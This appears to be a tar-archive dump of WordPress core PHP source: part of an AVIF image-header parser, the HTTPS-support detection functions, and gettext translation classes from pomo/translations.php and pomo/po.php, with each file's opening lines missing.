array(); // Prop[] public $dim_props = array(); // Dim_Prop[] public $chan_props = array(); // Chan_Prop[] /** * Binds the width, height, bit depth and number of channels from stored internal features. * * @param int $target_item_id Id of the item whose features will be bound. * @param int $tile_depth Maximum recursion to search within tile-parent relations. * @return Status FOUND on success or NOT_FOUND on failure. */ private function get_item_features( $target_item_id, $tile_depth ) { foreach ( $this->props as $prop ) { if ( $prop->item_id != $target_item_id ) { continue; } // Retrieve the width and height of the primary item if not already done. if ( $target_item_id == $this->primary_item_id && ( $this->primary_item_features['width'] == UNDEFINED || $this->primary_item_features['height'] == UNDEFINED ) ) { foreach ( $this->dim_props as $dim_prop ) { if ( $dim_prop->property_index != $prop->property_index ) { continue; } $this->primary_item_features['width'] = $dim_prop->width; $this->primary_item_features['height'] = $dim_prop->height; if ( $this->primary_item_features['bit_depth'] != UNDEFINED && $this->primary_item_features['num_channels'] != UNDEFINED ) { return FOUND; } break; } } // Retrieve the bit depth and number of channels of the target item if not // already done. if ( $this->primary_item_features['bit_depth'] == UNDEFINED || $this->primary_item_features['num_channels'] == UNDEFINED ) { foreach ( $this->chan_props as $chan_prop ) { if ( $chan_prop->property_index != $prop->property_index ) { continue; } $this->primary_item_features['bit_depth'] = $chan_prop->bit_depth; $this->primary_item_features['num_channels'] = $chan_prop->num_channels; if ( $this->primary_item_features['width'] != UNDEFINED && $this->primary_item_features['height'] != UNDEFINED ) { return FOUND; } break; } } } // Check for the bit_depth and num_channels in a tile if not yet found. if ( $tile_depth < 3 ) { foreach ( $this->tiles as $tile ) { if ( $tile->parent_item_id != $target_item_id ) { continue; } $status = $this->get_item_features( $tile->tile_item_id, $tile_depth + 1 ); if ( $status != NOT_FOUND ) { return $status; } } } return NOT_FOUND; } /** * Finds the width, height, bit depth and number of channels of the primary item. * * @return Status FOUND on success or NOT_FOUND on failure. */ public function get_primary_item_features() { // Nothing to do without the primary item ID. if ( !$this->has_primary_item ) { return NOT_FOUND; } // Early exit. if ( empty( $this->dim_props ) || empty( $this->chan_props ) ) { return NOT_FOUND; } $status = $this->get_item_features( $this->primary_item_id, /*tile_depth=*/ 0 ); if ( $status != FOUND ) { return $status; } // "auxC" is parsed before the "ipma" properties so it is known now, if any. if ( $this->has_alpha ) { ++$this->primary_item_features['num_channels']; } return FOUND; } } //------------------------------------------------------------------------------ class Box { public $size; // In bytes. public $type; // Four characters. public $version; // 0 or actual version if this is a full box. public $flags; // 0 or actual value if this is a full box. public $content_size; // 'size' minus the header size. /** * Reads the box header. * * @param stream $handle The resource the header will be parsed from. * @param int $num_parsed_boxes The total number of parsed boxes. Prevents timeouts. * @param int $num_remaining_bytes The number of bytes that should be available from the resource. * @return Status FOUND on success or an error on failure. */ public function parse( $handle, &$num_parsed_boxes, $num_remaining_bytes = MAX_SIZE ) { // See ISO/IEC 14496-12:2012(E) 4.2 $header_size = 8; // box 32b size + 32b type (at least) if ( $header_size > $num_remaining_bytes ) { return INVALID; } if ( !( $data = read( $handle, 8 ) ) ) { return TRUNCATED; } $this->size = read_big_endian( $data, 4 ); $this->type = substr( $data, 4, 4 ); // 'box->size==1' means 64-bit size should be read after the box type. // 'box->size==0' means this box extends to all remaining bytes. if ( $this->size == 1 ) { $header_size += 8; if ( $header_size > $num_remaining_bytes ) { return INVALID; } if ( !( $data = read( $handle, 8 ) ) ) { return TRUNCATED; } // Stop the parsing if any box has a size greater than 4GB. if ( read_big_endian( $data, 4 ) != 0 ) { return ABORTED; } // Read the 32 least-significant bits. $this->size = read_big_endian( substr( $data, 4, 4 ), 4 ); } else if ( $this->size == 0 ) { $this->size = $num_remaining_bytes; } if ( $this->size < $header_size ) { return INVALID; } if ( $this->size > $num_remaining_bytes ) { return INVALID; } $has_fullbox_header = $this->type == 'meta' || $this->type == 'pitm' || $this->type == 'ipma' || $this->type == 'ispe' || $this->type == 'pixi' || $this->type == 'iref' || $this->type == 'auxC'; if ( $has_fullbox_header ) { $header_size += 4; } if ( $this->size < $header_size ) { return INVALID; } $this->content_size = $this->size - $header_size; // Avoid timeouts. The maximum number of parsed boxes is arbitrary. ++$num_parsed_boxes; if ( $num_parsed_boxes >= MAX_NUM_BOXES ) { return ABORTED; } $this->version = 0; $this->flags = 0; if ( $has_fullbox_header ) { if ( !( $data = read( $handle, 4 ) ) ) { return TRUNCATED; } $this->version = read_big_endian( $data, 1 ); $this->flags = read_big_endian( substr( $data, 1, 3 ), 3 ); // See AV1 Image File Format (AVIF) 8.1 // at https://aomediacodec.github.io/av1-avif/#avif-boxes (available when // https://github.com/AOMediaCodec/av1-avif/pull/170 is merged). $is_parsable = ( $this->type == 'meta' && $this->version <= 0 ) || ( $this->type == 'pitm' && $this->version <= 1 ) || ( $this->type == 'ipma' && $this->version <= 1 ) || ( $this->type == 'ispe' && $this->version <= 0 ) || ( $this->type == 'pixi' && $this->version <= 0 ) || ( $this->type == 'iref' && $this->version <= 1 ) || ( $this->type == 'auxC' && $this->version <= 0 ); // Instead of considering this file as invalid, skip unparsable boxes. if ( !$is_parsable ) { $this->type = 'unknownversion'; } } // print_r( $this ); // Uncomment to print all boxes. return FOUND; } } //------------------------------------------------------------------------------ class Parser { private $handle; // Input stream. private $num_parsed_boxes = 0; private $data_was_skipped = false; public $features; function __construct( $handle ) { $this->handle = $handle; $this->features = new Features(); } /** * Parses an "ipco" box. * * "ispe" is used for width and height, "pixi" and "av1C" are used for bit depth * and number of channels, and "auxC" is used for alpha. * * @param stream $handle The resource the box will be parsed from. * @param int $num_remaining_bytes The number of bytes that should be available from the resource. * @return Status FOUND on success or an error on failure. */ private function parse_ipco( $num_remaining_bytes ) { $box_index = 1; // 1-based index. Used for iterating over properties. do { $box = new Box(); $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes ); if ( $status != FOUND ) { return $status; } if ( $box->type == 'ispe' ) { // See ISO/IEC 23008-12:2017(E) 6.5.3.2 if ( $box->content_size < 8 ) { return INVALID; } if ( !( $data = read( $this->handle, 8 ) ) ) { return TRUNCATED; } $width = read_big_endian( substr( $data, 0, 4 ), 4 ); $height = read_big_endian( substr( $data, 4, 4 ), 4 ); if ( $width == 0 || $height == 0 ) { return INVALID; } if ( count( $this->features->dim_props ) <= MAX_FEATURES && $box_index <= MAX_VALUE ) { $dim_prop_count = count( $this->features->dim_props ); $this->features->dim_props[$dim_prop_count] = new Dim_Prop(); $this->features->dim_props[$dim_prop_count]->property_index = $box_index; $this->features->dim_props[$dim_prop_count]->width = $width; $this->features->dim_props[$dim_prop_count]->height = $height; } else { $this->data_was_skipped = true; } if ( !skip( $this->handle, $box->content_size - 8 ) ) { return TRUNCATED; } } else if ( $box->type == 'pixi' ) { // See ISO/IEC 23008-12:2017(E) 6.5.6.2 if ( $box->content_size < 1 ) { return INVALID; } if ( !( $data = read( $this->handle, 1 ) ) ) { return TRUNCATED; } $num_channels = read_big_endian( $data, 1 ); if ( $num_channels < 1 ) { return INVALID; } if ( $box->content_size < 1 + $num_channels ) { return INVALID; } if ( !( $data = read( $this->handle, 1 ) ) ) { return TRUNCATED; } $bit_depth = read_big_endian( $data, 1 ); if ( $bit_depth < 1 ) { return INVALID; } for ( $i = 1; $i < $num_channels; ++$i ) { if ( !( $data = read( $this->handle, 1 ) ) ) { return TRUNCATED; } // Bit depth should be the same for all channels. if ( read_big_endian( $data, 1 ) != $bit_depth ) { return INVALID; } if ( $i > 32 ) { return ABORTED; // Be reasonable. } } if ( count( $this->features->chan_props ) <= MAX_FEATURES && $box_index <= MAX_VALUE && $bit_depth <= MAX_VALUE && $num_channels <= MAX_VALUE ) { $chan_prop_count = count( $this->features->chan_props ); $this->features->chan_props[$chan_prop_count] = new Chan_Prop(); $this->features->chan_props[$chan_prop_count]->property_index = $box_index; $this->features->chan_props[$chan_prop_count]->bit_depth = $bit_depth; $this->features->chan_props[$chan_prop_count]->num_channels = $num_channels; } else { $this->data_was_skipped = true; } if ( !skip( $this->handle, $box->content_size - ( 1 + $num_channels ) ) ) { return TRUNCATED; } } else if ( $box->type == 'av1C' ) { // See AV1 Codec ISO Media File Format Binding 2.3.1 // at https://aomediacodec.github.io/av1-isobmff/#av1c // Only parse the necessary third byte. Assume that the others are valid. if ( $box->content_size < 3 ) { return INVALID; } if ( !( $data = read( $this->handle, 3 ) ) ) { return TRUNCATED; } $byte = read_big_endian( substr( $data, 2, 1 ), 1 ); $high_bitdepth = ( $byte & 0x40 ) != 0; $twelve_bit = ( $byte & 0x20 ) != 0; $monochrome = ( $byte & 0x10 ) != 0; if ( $twelve_bit && !$high_bitdepth ) { return INVALID; } if ( count( $this->features->chan_props ) <= MAX_FEATURES && $box_index <= MAX_VALUE ) { $chan_prop_count = count( $this->features->chan_props ); $this->features->chan_props[$chan_prop_count] = new Chan_Prop(); $this->features->chan_props[$chan_prop_count]->property_index = $box_index; $this->features->chan_props[$chan_prop_count]->bit_depth = $high_bitdepth ? $twelve_bit ? 12 : 10 : 8; $this->features->chan_props[$chan_prop_count]->num_channels = $monochrome ? 1 : 3; } else { $this->data_was_skipped = true; } if ( !skip( $this->handle, $box->content_size - 3 ) ) { return TRUNCATED; } } else if ( $box->type == 'auxC' ) { // See AV1 Image File Format (AVIF) 4 // at https://aomediacodec.github.io/av1-avif/#auxiliary-images $kAlphaStr = "urn:mpeg:mpegB:cicp:systems:auxiliary:alpha\0"; $kAlphaStrLength = 44; // Includes terminating character. if ( $box->content_size >= $kAlphaStrLength ) { if ( !( $data = read( $this->handle, $kAlphaStrLength ) ) ) { return TRUNCATED; } if ( substr( $data, 0, $kAlphaStrLength ) == $kAlphaStr ) { // Note: It is unlikely but it is possible that this alpha plane does // not belong to the primary item or a tile. Ignore this issue. $this->features->has_alpha = true; } if ( !skip( $this->handle, $box->content_size - $kAlphaStrLength ) ) { return TRUNCATED; } } else { if ( !skip( $this->handle, $box->content_size ) ) { return TRUNCATED; } } } else { if ( !skip( $this->handle, $box->content_size ) ) { return TRUNCATED; } } ++$box_index; $num_remaining_bytes -= $box->size; } while ( $num_remaining_bytes > 0 ); return NOT_FOUND; } /** * Parses an "iprp" box. * * The "ipco" box contain the properties which are linked to items by the "ipma" box. * * @param stream $handle The resource the box will be parsed from. * @param int $num_remaining_bytes The number of bytes that should be available from the resource. * @return Status FOUND on success or an error on failure. */ private function parse_iprp( $num_remaining_bytes ) { do { $box = new Box(); $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes ); if ( $status != FOUND ) { return $status; } if ( $box->type == 'ipco' ) { $status = $this->parse_ipco( $box->content_size ); if ( $status != NOT_FOUND ) { return $status; } } else if ( $box->type == 'ipma' ) { // See ISO/IEC 23008-12:2017(E) 9.3.2 $num_read_bytes = 4; if ( $box->content_size < $num_read_bytes ) { return INVALID; } if ( !( $data = read( $this->handle, $num_read_bytes ) ) ) { return TRUNCATED; } $entry_count = read_big_endian( $data, 4 ); $id_num_bytes = ( $box->version < 1 ) ? 2 : 4; $index_num_bytes = ( $box->flags & 1 ) ? 2 : 1; $essential_bit_mask = ( $box->flags & 1 ) ? 0x8000 : 0x80; for ( $entry = 0; $entry < $entry_count; ++$entry ) { if ( $entry >= MAX_PROPS || count( $this->features->props ) >= MAX_PROPS ) { $this->data_was_skipped = true; break; } $num_read_bytes += $id_num_bytes + 1; if ( $box->content_size < $num_read_bytes ) { return INVALID; } if ( !( $data = read( $this->handle, $id_num_bytes + 1 ) ) ) { return TRUNCATED; } $item_id = read_big_endian( substr( $data, 0, $id_num_bytes ), $id_num_bytes ); $association_count = read_big_endian( substr( $data, $id_num_bytes, 1 ), 1 ); for ( $property = 0; $property < $association_count; ++$property ) { if ( $property >= MAX_PROPS || count( $this->features->props ) >= MAX_PROPS ) { $this->data_was_skipped = true; break; } $num_read_bytes += $index_num_bytes; if ( $box->content_size < $num_read_bytes ) { return INVALID; } if ( !( $data = read( $this->handle, $index_num_bytes ) ) ) { return TRUNCATED; } $value = read_big_endian( $data, $index_num_bytes ); // $essential = ($value & $essential_bit_mask); // Unused. $property_index = ( $value & ~$essential_bit_mask ); if ( $property_index <= MAX_VALUE && $item_id <= MAX_VALUE ) { $prop_count = count( $this->features->props ); $this->features->props[$prop_count] = new Prop(); $this->features->props[$prop_count]->property_index = $property_index; $this->features->props[$prop_count]->item_id = $item_id; } else { $this->data_was_skipped = true; } } if ( $property < $association_count ) { break; // Do not read garbage. } } // If all features are available now, do not look further. $status = $this->features->get_primary_item_features(); if ( $status != NOT_FOUND ) { return $status; } // Mostly if 'data_was_skipped'. if ( !skip( $this->handle, $box->content_size - $num_read_bytes ) ) { return TRUNCATED; } } else { if ( !skip( $this->handle, $box->content_size ) ) { return TRUNCATED; } } $num_remaining_bytes -= $box->size; } while ( $num_remaining_bytes > 0 ); return NOT_FOUND; } /** * Parses an "iref" box. * * The "dimg" boxes contain links between tiles and their parent items, which * can be used to infer bit depth and number of channels for the primary item * when the latter does not have these properties. * * @param stream $handle The resource the box will be parsed from. * @param int $num_remaining_bytes The number of bytes that should be available from the resource. * @return Status FOUND on success or an error on failure. */ private function parse_iref( $num_remaining_bytes ) { do { $box = new Box(); $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes ); if ( $status != FOUND ) { return $status; } if ( $box->type == 'dimg' ) { // See ISO/IEC 14496-12:2015(E) 8.11.12.2 $num_bytes_per_id = ( $box->version == 0 ) ? 2 : 4; $num_read_bytes = $num_bytes_per_id + 2; if ( $box->content_size < $num_read_bytes ) { return INVALID; } if ( !( $data = read( $this->handle, $num_read_bytes ) ) ) { return TRUNCATED; } $from_item_id = read_big_endian( $data, $num_bytes_per_id ); $reference_count = read_big_endian( substr( $data, $num_bytes_per_id, 2 ), 2 ); for ( $i = 0; $i < $reference_count; ++$i ) { if ( $i >= MAX_TILES ) { $this->data_was_skipped = true; break; } $num_read_bytes += $num_bytes_per_id; if ( $box->content_size < $num_read_bytes ) { return INVALID; } if ( !( $data = read( $this->handle, $num_bytes_per_id ) ) ) { return TRUNCATED; } $to_item_id = read_big_endian( $data, $num_bytes_per_id ); $tile_count = count( $this->features->tiles ); if ( $from_item_id <= MAX_VALUE && $to_item_id <= MAX_VALUE && $tile_count < MAX_TILES ) { $this->features->tiles[$tile_count] = new Tile(); $this->features->tiles[$tile_count]->tile_item_id = $to_item_id; $this->features->tiles[$tile_count]->parent_item_id = $from_item_id; } else { $this->data_was_skipped = true; } } // If all features are available now, do not look further. $status = $this->features->get_primary_item_features(); if ( $status != NOT_FOUND ) { return $status; } // Mostly if 'data_was_skipped'. if ( !skip( $this->handle, $box->content_size - $num_read_bytes ) ) { return TRUNCATED; } } else { if ( !skip( $this->handle, $box->content_size ) ) { return TRUNCATED; } } $num_remaining_bytes -= $box->size; } while ( $num_remaining_bytes > 0 ); return NOT_FOUND; } /** * Parses a "meta" box. * * It looks for the primary item ID in the "pitm" box and recurses into other boxes * to find its features. * * @param stream $handle The resource the box will be parsed from. * @param int $num_remaining_bytes The number of bytes that should be available from the resource. * @return Status FOUND on success or an error on failure. */ private function parse_meta( $num_remaining_bytes ) { do { $box = new Box(); $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes ); if ( $status != FOUND ) { return $status; } if ( $box->type == 'pitm' ) { // See ISO/IEC 14496-12:2015(E) 8.11.4.2 $num_bytes_per_id = ( $box->version == 0 ) ? 2 : 4; if ( $num_bytes_per_id > $num_remaining_bytes ) { return INVALID; } if ( !( $data = read( $this->handle, $num_bytes_per_id ) ) ) { return TRUNCATED; } $primary_item_id = read_big_endian( $data, $num_bytes_per_id ); if ( $primary_item_id > MAX_VALUE ) { return ABORTED; } $this->features->has_primary_item = true; $this->features->primary_item_id = $primary_item_id; if ( !skip( $this->handle, $box->content_size - $num_bytes_per_id ) ) { return TRUNCATED; } } else if ( $box->type == 'iprp' ) { $status = $this->parse_iprp( $box->content_size ); if ( $status != NOT_FOUND ) { return $status; } } else if ( $box->type == 'iref' ) { $status = $this->parse_iref( $box->content_size ); if ( $status != NOT_FOUND ) { return $status; } } else { if ( !skip( $this->handle, $box->content_size ) ) { return TRUNCATED; } } $num_remaining_bytes -= $box->size; } while ( $num_remaining_bytes != 0 ); // According to ISO/IEC 14496-12:2012(E) 8.11.1.1 there is at most one "meta". return INVALID; } /** * Parses a file stream. * * The file type is checked through the "ftyp" box. * * @return bool True if the input stream is an AVIF bitstream or false. */ public function parse_ftyp() { $box = new Box(); $status = $box->parse( $this->handle, $this->num_parsed_boxes ); if ( $status != FOUND ) { return false; } if ( $box->type != 'ftyp' ) { return false; } // Iterate over brands. See ISO/IEC 14496-12:2012(E) 4.3.1 if ( $box->content_size < 8 ) { return false; } for ( $i = 0; $i + 4 <= $box->content_size; $i += 4 ) { if ( !( $data = read( $this->handle, 4 ) ) ) { return false; } if ( $i == 4 ) { continue; // Skip minor_version. } if ( substr( $data, 0, 4 ) == 'avif' || substr( $data, 0, 4 ) == 'avis' ) { return skip( $this->handle, $box->content_size - ( $i + 4 ) ); } if ( $i > 32 * 4 ) { return false; // Be reasonable. } } return false; // No AVIF brand no good. } /** * Parses a file stream. * * Features are extracted from the "meta" box. * * @return bool True if the main features of the primary item were parsed or false. */ public function parse_file() { $box = new Box(); while ( $box->parse( $this->handle, $this->num_parsed_boxes ) == FOUND ) { if ( $box->type === 'meta' ) { if ( $this->parse_meta( $box->content_size ) != FOUND ) { return false; } return true; } if ( !skip( $this->handle, $box->content_size ) ) { return false; } } return false; // No "meta" no good. } } https-detection.php000064400000015316147177035010010406 0ustar00errors ); return; } $support_errors = new WP_Error(); $response = wp_remote_request( home_url( '/', 'https' ), array( 'headers' => array( 'Cache-Control' => 'no-cache', ), 'sslverify' => true, ) ); if ( is_wp_error( $response ) ) { $unverified_response = wp_remote_request( home_url( '/', 'https' ), array( 'headers' => array( 'Cache-Control' => 'no-cache', ), 'sslverify' => false, ) ); if ( is_wp_error( $unverified_response ) ) { $support_errors->add( 'https_request_failed', __( 'HTTPS request failed.' ) ); } else { $support_errors->add( 'ssl_verification_failed', __( 'SSL verification failed.' ) ); } $response = $unverified_response; } if ( ! is_wp_error( $response ) ) { if ( 200 !== wp_remote_retrieve_response_code( $response ) ) { $support_errors->add( 'bad_response_code', wp_remote_retrieve_response_message( $response ) ); } elseif ( false === wp_is_local_html_output( wp_remote_retrieve_body( $response ) ) ) { $support_errors->add( 'bad_response_source', __( 'It looks like the response did not come from this site.' ) ); } } update_option( 'https_detection_errors', $support_errors->errors ); } /** * Schedules the Cron hook for detecting HTTPS support. * * @since 5.7.0 * @access private */ function wp_schedule_https_detection() { if ( wp_installing() ) { return; } if ( ! wp_next_scheduled( 'wp_https_detection' ) ) { wp_schedule_event( time(), 'twicedaily', 'wp_https_detection' ); } } /** * Disables SSL verification if the 'cron_request' arguments include an HTTPS URL. * * This prevents an issue if HTTPS breaks, where there would be a failed attempt to verify HTTPS. * * @since 5.7.0 * @access private * * @param array $request The Cron request arguments. * @return array The filtered Cron request arguments. */ function wp_cron_conditionally_prevent_sslverify( $request ) { if ( 'https' === wp_parse_url( $request['url'], PHP_URL_SCHEME ) ) { $request['args']['sslverify'] = false; } return $request; } /** * Checks whether a given HTML string is likely an output from this WordPress site. * * This function attempts to check for various common WordPress patterns whether they are included in the HTML string. * Since any of these actions may be disabled through third-party code, this function may also return null to indicate * that it was not possible to determine ownership. * * @since 5.7.0 * @access private * * @param string $html Full HTML output string, e.g. from a HTTP response. * @return bool|null True/false for whether HTML was generated by this site, null if unable to determine. */ function wp_is_local_html_output( $html ) { // 1. Check if HTML includes the site's Really Simple Discovery link. if ( has_action( 'wp_head', 'rsd_link' ) ) { $pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) ); // See rsd_link(). return false !== strpos( $html, $pattern ); } // 2. Check if HTML includes the site's Windows Live Writer manifest link. if ( has_action( 'wp_head', 'wlwmanifest_link' ) ) { // Try both HTTPS and HTTP since the URL depends on context. $pattern = preg_replace( '#^https?:(?=//)#', '', includes_url( 'wlwmanifest.xml' ) ); // See wlwmanifest_link(). return false !== strpos( $html, $pattern ); } // 3. Check if HTML includes the site's REST API link. if ( has_action( 'wp_head', 'rest_output_link_wp_head' ) ) { // Try both HTTPS and HTTP since the URL depends on context. $pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( get_rest_url() ) ); // See rest_output_link_wp_head(). return false !== strpos( $html, $pattern ); } // Otherwise the result cannot be determined. return null; } pomo/translations.php000064400000023062147177035010010760 0ustar00key(); if ( false === $key ) { return false; } $this->entries[ $key ] = &$entry; return true; } /** * @param array|Translation_Entry $entry * @return bool */ public function add_entry_or_merge( $entry ) { if ( is_array( $entry ) ) { $entry = new Translation_Entry( $entry ); } $key = $entry->key(); if ( false === $key ) { return false; } if ( isset( $this->entries[ $key ] ) ) { $this->entries[ $key ]->merge_with( $entry ); } else { $this->entries[ $key ] = &$entry; } return true; } /** * Sets $header PO header to $value * * If the header already exists, it will be overwritten * * TODO: this should be out of this class, it is gettext specific * * @param string $header header name, without trailing : * @param string $value header value, without trailing \n */ public function set_header( $header, $value ) { $this->headers[ $header ] = $value; } /** * @param array $headers */ public function set_headers( $headers ) { foreach ( $headers as $header => $value ) { $this->set_header( $header, $value ); } } /** * @param string $header */ public function get_header( $header ) { return isset( $this->headers[ $header ] ) ? $this->headers[ $header ] : false; } /** * @param Translation_Entry $entry */ public function translate_entry( &$entry ) { $key = $entry->key(); return isset( $this->entries[ $key ] ) ? $this->entries[ $key ] : false; } /** * @param string $singular * @param string $context * @return string */ public function translate( $singular, $context = null ) { $entry = new Translation_Entry( array( 'singular' => $singular, 'context' => $context, ) ); $translated = $this->translate_entry( $entry ); return ( $translated && ! empty( $translated->translations ) ) ? $translated->translations[0] : $singular; } /** * Given the number of items, returns the 0-based index of the plural form to use * * Here, in the base Translations class, the common logic for English is implemented: * 0 if there is one element, 1 otherwise * * This function should be overridden by the subclasses. For example MO/PO can derive the logic * from their headers. * * @param int $count number of items */ public function select_plural_form( $count ) { return 1 == $count ? 0 : 1; } /** * @return int */ public function get_plural_forms_count() { return 2; } /** * @param string $singular * @param string $plural * @param int $count * @param string $context */ public function translate_plural( $singular, $plural, $count, $context = null ) { $entry = new Translation_Entry( array( 'singular' => $singular, 'plural' => $plural, 'context' => $context, ) ); $translated = $this->translate_entry( $entry ); $index = $this->select_plural_form( $count ); $total_plural_forms = $this->get_plural_forms_count(); if ( $translated && 0 <= $index && $index < $total_plural_forms && is_array( $translated->translations ) && isset( $translated->translations[ $index ] ) ) { return $translated->translations[ $index ]; } else { return 1 == $count ? $singular : $plural; } } /** * Merge $other in the current object. * * @param Object $other Another Translation object, whose translations will be merged in this one (passed by reference). */ public function merge_with( &$other ) { foreach ( $other->entries as $entry ) { $this->entries[ $entry->key() ] = $entry; } } /** * @param object $other */ public function merge_originals_with( &$other ) { foreach ( $other->entries as $entry ) { if ( ! isset( $this->entries[ $entry->key() ] ) ) { $this->entries[ $entry->key() ] = $entry; } else { $this->entries[ $entry->key() ]->merge_with( $entry ); } } } } class Gettext_Translations extends Translations { /** * The gettext implementation of select_plural_form. * * It lives in this class, because there are more than one descendand, which will use it and * they can't share it effectively. * * @param int $count */ public function gettext_select_plural_form( $count ) { if ( ! isset( $this->_gettext_select_plural_form ) || is_null( $this->_gettext_select_plural_form ) ) { list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) ); $this->_nplurals = $nplurals; $this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression ); } return call_user_func( $this->_gettext_select_plural_form, $count ); } /** * @param string $header * @return array */ public function nplurals_and_expression_from_header( $header ) { if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) { $nplurals = (int) $matches[1]; $expression = trim( $matches[2] ); return array( $nplurals, $expression ); } else { return array( 2, 'n != 1' ); } } /** * Makes a function, which will return the right translation index, according to the * plural forms header * * @param int $nplurals * @param string $expression */ public function make_plural_form_function( $nplurals, $expression ) { try { $handler = new Plural_Forms( rtrim( $expression, ';' ) ); return array( $handler, 'get' ); } catch ( Exception $e ) { // Fall back to default plural-form function. return $this->make_plural_form_function( 2, 'n != 1' ); } } /** * Adds parentheses to the inner parts of ternary operators in * plural expressions, because PHP evaluates ternary oerators from left to right * * @param string $expression the expression without parentheses * @return string the expression with parentheses added */ public function parenthesize_plural_exression( $expression ) { $expression .= ';'; $res = ''; $depth = 0; for ( $i = 0; $i < strlen( $expression ); ++$i ) { $char = $expression[ $i ]; switch ( $char ) { case '?': $res .= ' ? ('; $depth++; break; case ':': $res .= ') : ('; break; case ';': $res .= str_repeat( ')', $depth ) . ';'; $depth = 0; break; default: $res .= $char; } } return rtrim( $res, ';' ); } /** * @param string $translation * @return array */ public function make_headers( $translation ) { $headers = array(); // Sometimes \n's are used instead of real new lines. $translation = str_replace( '\n', "\n", $translation ); $lines = explode( "\n", $translation ); foreach ( $lines as $line ) { $parts = explode( ':', $line, 2 ); if ( ! isset( $parts[1] ) ) { continue; } $headers[ trim( $parts[0] ) ] = trim( $parts[1] ); } return $headers; } /** * @param string $header * @param string $value */ public function set_header( $header, $value ) { parent::set_header( $header, $value ); if ( 'Plural-Forms' === $header ) { list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) ); $this->_nplurals = $nplurals; $this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression ); } } } endif; if ( ! class_exists( 'NOOP_Translations', false ) ) : /** * Provides the same interface as Translations, but doesn't do anything */ class NOOP_Translations { public $entries = array(); public $headers = array(); public function add_entry( $entry ) { return true; } /** * @param string $header * @param string $value */ public function set_header( $header, $value ) { } /** * @param array $headers */ public function set_headers( $headers ) { } /** * @param string $header * @return false */ public function get_header( $header ) { return false; } /** * @param Translation_Entry $entry * @return false */ public function translate_entry( &$entry ) { return false; } /** * @param string $singular * @param string $context */ public function translate( $singular, $context = null ) { return $singular; } /** * @param int $count * @return bool */ public function select_plural_form( $count ) { return 1 == $count ? 0 : 1; } /** * @return int */ public function get_plural_forms_count() { return 2; } /** * @param string $singular * @param string $plural * @param int $count * @param string $context */ public function translate_plural( $singular, $plural, $count, $context = null ) { return 1 == $count ? $singular : $plural; } /** * @param object $other */ public function merge_with( &$other ) { } } endif; pomo/po.php000064400000035620147177035010006660 0ustar00headers as $header => $value ) { $header_string .= "$header: $value\n"; } $poified = PO::poify( $header_string ); if ( $this->comments_before_headers ) { $before_headers = $this->prepend_each_line( rtrim( $this->comments_before_headers ) . "\n", '# ' ); } else { $before_headers = ''; } return rtrim( "{$before_headers}msgid \"\"\nmsgstr $poified" ); } /** * Exports all entries to PO format * * @return string sequence of mgsgid/msgstr PO strings, doesn't containt newline at the end */ public function export_entries() { // TODO: Sorting. return implode( "\n\n", array_map( array( 'PO', 'export_entry' ), $this->entries ) ); } /** * Exports the whole PO file as a string * * @param bool $include_headers whether to include the headers in the export * @return string ready for inclusion in PO file string for headers and all the enrtries */ public function export( $include_headers = true ) { $res = ''; if ( $include_headers ) { $res .= $this->export_headers(); $res .= "\n\n"; } $res .= $this->export_entries(); return $res; } /** * Same as {@link export}, but writes the result to a file * * @param string $filename Where to write the PO string. * @param bool $include_headers Whether to include the headers in the export. * @return bool true on success, false on error */ public function export_to_file( $filename, $include_headers = true ) { $fh = fopen( $filename, 'w' ); if ( false === $fh ) { return false; } $export = $this->export( $include_headers ); $res = fwrite( $fh, $export ); if ( false === $res ) { return false; } return fclose( $fh ); } /** * Text to include as a comment before the start of the PO contents * * Doesn't need to include # in the beginning of lines, these are added automatically * * @param string $text Text to include as a comment. */ public function set_comment_before_headers( $text ) { $this->comments_before_headers = $text; } /** * Formats a string in PO-style * * @param string $string the string to format * @return string the poified string */ public static function poify( $string ) { $quote = '"'; $slash = '\\'; $newline = "\n"; $replaces = array( "$slash" => "$slash$slash", "$quote" => "$slash$quote", "\t" => '\t', ); $string = str_replace( array_keys( $replaces ), array_values( $replaces ), $string ); $po = $quote . implode( "${slash}n$quote$newline$quote", explode( $newline, $string ) ) . $quote; // Add empty string on first line for readbility. if ( false !== strpos( $string, $newline ) && ( substr_count( $string, $newline ) > 1 || substr( $string, -strlen( $newline ) ) !== $newline ) ) { $po = "$quote$quote$newline$po"; } // Remove empty strings. $po = str_replace( "$newline$quote$quote", '', $po ); return $po; } /** * Gives back the original string from a PO-formatted string * * @param string $string PO-formatted string * @return string enascaped string */ public static function unpoify( $string ) { $escapes = array( 't' => "\t", 'n' => "\n", 'r' => "\r", '\\' => '\\', ); $lines = array_map( 'trim', explode( "\n", $string ) ); $lines = array_map( array( 'PO', 'trim_quotes' ), $lines ); $unpoified = ''; $previous_is_backslash = false; foreach ( $lines as $line ) { preg_match_all( '/./u', $line, $chars ); $chars = $chars[0]; foreach ( $chars as $char ) { if ( ! $previous_is_backslash ) { if ( '\\' === $char ) { $previous_is_backslash = true; } else { $unpoified .= $char; } } else { $previous_is_backslash = false; $unpoified .= isset( $escapes[ $char ] ) ? $escapes[ $char ] : $char; } } } // Standardize the line endings on imported content, technically PO files shouldn't contain \r. $unpoified = str_replace( array( "\r\n", "\r" ), "\n", $unpoified ); return $unpoified; } /** * Inserts $with in the beginning of every new line of $string and * returns the modified string * * @param string $string prepend lines in this string * @param string $with prepend lines with this string */ public static function prepend_each_line( $string, $with ) { $lines = explode( "\n", $string ); $append = ''; if ( "\n" === substr( $string, -1 ) && '' === end( $lines ) ) { /* * Last line might be empty because $string was terminated * with a newline, remove it from the $lines array, * we'll restore state by re-terminating the string at the end. */ array_pop( $lines ); $append = "\n"; } foreach ( $lines as &$line ) { $line = $with . $line; } unset( $line ); return implode( "\n", $lines 